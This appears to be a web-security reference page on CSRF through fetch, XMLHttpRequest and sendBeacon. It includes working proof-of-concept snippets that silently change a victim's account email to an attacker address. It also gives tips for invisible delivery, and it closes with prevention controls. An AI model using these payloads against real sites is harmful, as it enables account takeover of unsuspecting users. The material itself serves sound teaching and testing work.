Skip to content
mediumCVSS 6.5CWE-352A01:2021 – Broken Access Control

fetch, XHR, and sendBeacon

mode: 'no-cors', credentials: 'include', the safelisted-header guard, and the opaque response.

More control, less reach

Scripted requests look like the obvious CSRF tool — you can set the method, the body, and (in principle) the headers. In 2026 they are usually the weakest option, for one structural reason: they are subresource requests, not navigations.

That single fact removes them from the only row of the cookie matrix that still works by default. A fetch from an attacker page carries a cookie only when the cookie is SameSite=None; Secure, and even then only in Chromium — Firefox partitions it and Safari blocks it outright.

There are two further traps that make scripted PoCs fail silently:

  1. Credentials are opt-in. fetch defaults to credentials: 'same-origin'. Forget 'include' and the request goes out with no cookies at all — it is not blocked, it just proves nothing.
  2. no-cors silently drops headers. Setting Content-Type: application/json in no-cors mode does not throw; the header is simply discarded and the server sees text/plain.

Both produce a PoC that appears to run cleanly and demonstrates nothing. Use a form unless you specifically need what a script gives you.

fetch

JavaScriptVulnerable
// The CSRF-shaped fetch. no-cors means "I accept an unreadable response", so
// the browser skips CORS entirely: no preflight, no Access-Control-* needed.
fetch('https://api.example/account', {
  method: 'POST',
  mode: 'no-cors',

  // Without this line the request carries NO cookies. fetch defaults to
  // 'same-origin' and the attacker page is not same-origin. This is the
  // single most common reason a scripted PoC quietly does nothing.
  credentials: 'include',

  // Only the three CORS-safelisted values survive in no-cors mode. Anything
  // else is dropped without an error -- application/json here would leave
  // the server seeing text/plain.
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'email=attacker@evil.example',
})
// The response is opaque: status 0, body null, headers empty -- whether the
// server returned 200 or 403. Confirm the effect on the target itself.

XMLHttpRequest

JavaScriptVulnerable
// XHR predates no-cors, so it ALWAYS makes a CORS request. There is no way
// to opt out of the read restriction, which means non-simple shapes preflight
// and there is no opaque-response escape hatch.
//
// Practically: XHR can do everything a simple-request fetch can and nothing
// more. It is worth recognising because a lot of published PoCs use it.
var x = new XMLHttpRequest()
x.open('POST', 'https://api.example/account', true)

// The XHR spelling of credentials: 'include'. Same trap -- without it, no
// cookies are attached and the PoC proves nothing.
x.withCredentials = true

x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
x.send('email=attacker@evil.example')

sendBeacon

JavaScriptVulnerable
// sendBeacon is always POST and always includes credentials -- there is no
// opt-in to forget. Its content type comes from the Blob, and it is limited
// to the CORS-safelisted values, so it is the text/plain trick's natural
// scripted partner.
//
// Its real advantage is that it survives page unload: the request is queued
// by the browser and sent even as the tab closes. That makes it the quietest
// scripted delivery -- there is no visible navigation and nothing to see in
// the tab that fired it.
//
// It is still a subresource, so Lax and Strict both block it regardless.
var body = new Blob(
  ['{"email":"attacker@evil.example"}'],
  { type: 'text/plain' }
)
navigator.sendBeacon('https://api.example/account', body)

// Returns true if the request was successfully QUEUED -- not if it succeeded.
// There is no response to inspect at all.

Choosing between them

fetch (no-cors)XMLHttpRequestsendBeacon
MethodsAny (non-simple ones preflight)Any (non-simple ones preflight)POST only
CredentialsOpt-in: credentials: 'include'Opt-in: withCredentials = trueAlways included
Custom headersSafelisted only in no-cors modeAny, but non-safelisted ones preflightNone
Preflight in the CSRF-usable shapeNoNo, for simple requestsNo
Response readableNo — opaqueOnly with ACAO + ACACNo response at all
Survives page unloadNoNoYes
Carries a Lax or unset cookieNo — subresourceNo — subresourceNo — subresource

When a scripted delivery is worth using

Given that a form reaches more targets, reach for a script only when you need something a form cannot do:

  • The cookie is SameSite=None and you want the attack to be invisible — no navigation, nothing on screen.
  • You need many requests, for a race condition or to brute-force a value. A form navigates away after one.
  • You are chaining after a CORS misconfiguration and can actually read responses — at which point the finding is the CORS issue, and this is how you demonstrate its impact (CORS-Assisted CSRF).
  • You need sendBeacon's unload survival to fire as the victim leaves.
  • You are testing whether custom-header enforcement is real. If the endpoint requires X-Requested-With, try sending it: the preflight that results is the defence working. If the request goes through anyway, the header was not being enforced.

Prevention

The scripted deliveries are already the best-defended, but the controls worth naming:

  • Require a custom header on API routes — X-Requested-With: XMLHttpRequest is the traditional spelling. It cannot be set cross-site without a preflight, so an attacker's page cannot supply it. This is a genuine defence for XHR/fetch traffic and does nothing at all against a form, so it is not a complete answer.
  • Do not reflect Origin into Access-Control-Allow-Origin, and never combine a reflected origin with Access-Control-Allow-Credentials: true. That combination converts a blind write into a read-and-write.
  • Access-Control-Allow-Origin: * is incompatible with credentials and the browser enforces that — a wildcard is not the vulnerability it is often reported as, unless the endpoint needs no credentials in the first place.
  • Reject Sec-Fetch-Mode: cors with Sec-Fetch-Site: cross-site on state-changing routes, alongside the navigate case. See Origin, Referer, and Fetch Metadata.